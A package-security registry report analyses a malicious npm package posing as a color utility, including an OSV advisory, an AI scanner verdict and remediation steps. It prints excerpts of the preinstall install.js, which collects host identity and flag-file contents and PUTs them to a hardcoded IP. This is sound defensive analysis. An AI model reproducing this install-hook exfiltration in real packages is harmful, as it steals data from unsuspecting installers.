registry / Malware / @praveenvjpm/color-utils-7210

@praveenvjpm/color-utils-7210

This report shows the evidence for @praveenvjpm/color-utils-7210@1.0.0, the only known version.

OpenSSF/OSV Malicious Advisory

imported 15d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-17651 confirms this npm version as malicious.

Advisory

MAL-2026-17651

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in @praveenvjpm/color-utils-7210 (npm)

Details

On npm install, the package's preinstall hook executes install.js, which collects host identifiers (os.hostname(), process.cwd(), username) and reads flag files from /flag, /flag.txt, /app/flag, /home/node/flag, and /tmp/flag, then PUTs the collected data to the hardcoded bare-IP endpoint http://154.57.164.66:39270/api/modules/* over plain HTTP. install.js is additionally wrapped as a PowerShell here-string (opening with @" and closing with "@ | Out-File -Encoding ascii install.js), structured as a polyglot that can rewrite itself on Windows before Node executes the exfiltration payload. The behavior fires automatically on default install and has no relationship to the package's stated color-utility purpose.

References

OpenSSF/OSV advisory PACKAGE

Independent LPM AI assessment

Suspicious

Independent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.

The source expresses a clear data-exfiltration behavior behind an automatic install hook, but malformed JavaScript prevents confirming execution. Classify as suspicious and warn because the intended behavior is concrete while the active attack surface remains unconfirmed.

Static reason

One or more suspicious static signals were detected.

Trigger

npm installation triggers the preinstall hook, which runs node install.js.

Impact

If executable, the code would expose host information and any readable flag contents to the external endpoint; the malformed file prevents confirming that this occurs.

Mechanism

The script reads host details and selected local files, builds a manifest, and attempts an HTTP PUT to 154.57.164.66:39270.

AI rationale

Evidence

package.jsoninstall.js

Network endpoints1

154.57.164.66:39270

Independent scan evidence

public snapshot

AI called this Suspicious at 97.0% confidence as Dangerous Capability with low false-positive risk.

Evidence for AI warning decision

The preinstall hook invokes install.js automatically during installation.
install.js gathers hostname, working directory, username, and contents from several flag paths.
The collected data is placed in a manifest and sent by HTTP PUT to 154.57.164.66:39270.

Evidence against

install.js begins with a PowerShell here-string marker and ends with an Out-File command, making the file invalid JavaScript as invoked by the hook.

Behavioral surface

Source

EnvironmentVarsFilesystemNetwork

Supply chain

HighEntropyStrings

Manifest

NoLicense

scanned 1 file(s), 1.21 KB of source

Source & flagged code

6 flagged

package.jsonView file

•scripts.preinstall = node install.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"main": "index.js", "scripts": { "preinstall": "node install.js" } }

High

Suspicious Lifecycle Evidence

The preinstall hook invokes install.js automatically during installation.

package.jsonView on unpkg · L5

•scripts.preinstall = node install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

install.jsView file

1@" L2: const http = require('http'); L3: const fs = require('fs'); ... L11: var finds = []; L12: finds.push('host=' + os.hostname()); L13: finds.push('cwd=' + process.cwd()); L14: finds.push('user=' + (process.env.USER || process.env.USERNAME || '?')); L15: ... L39: req.on('error', function() {}); L40: req.write(body); L41: req.end();

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

install.jsView on unpkg · L1

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

install.jsView on unpkg

1@" const http = require('http'); const fs = require('fs'); const os = require('os'); function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim().substring(0, 160); } catch (e) { return null; } } var finds = []; finds.push('host=' + os.hostname()); finds.push('cwd=' + process.cwd()); finds.push('user=' + (process.env.USER || process.env.USERNAME || '?')); ['/flag', '/flag.txt', '/app/flag', '/home/n

High

Ai Review Evidence

install.js gathers hostname, working directory, username, and contents from several flag paths.

install.jsView on unpkg · L1

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.preinstall = node install.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"main": "index.js", "scripts": { "preinstall": "node install.js" } }

High

Suspicious Lifecycle Evidence

The preinstall hook invokes install.js automatically during installation.

package.jsonView on unpkg · L5

•scripts.preinstall = node install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

install.jsView file

Findings

5 High3 Medium4 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationinstall.js

HighSemantic Analysis Limitedinstall.js

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidenceinstall.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumEnvironment Vars

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowNo License

Affected versions and remediation

This report applies to @praveenvjpm/color-utils-7210@1.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing @praveenvjpm/color-utils-7210@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-08 04:00:11.469Z (UTC).

Source advisory published: 2026-10-08 03:36:19.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

1.0.0latestshownMaliciousMalwareBlockPublishedOct 7, 2026, 10:24 AM

OpenSSF/OSV Malicious Advisory

Independent LPM AI assessment

Independent scan evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other malware packages

Related packages

Other malware packages

Source & flagged code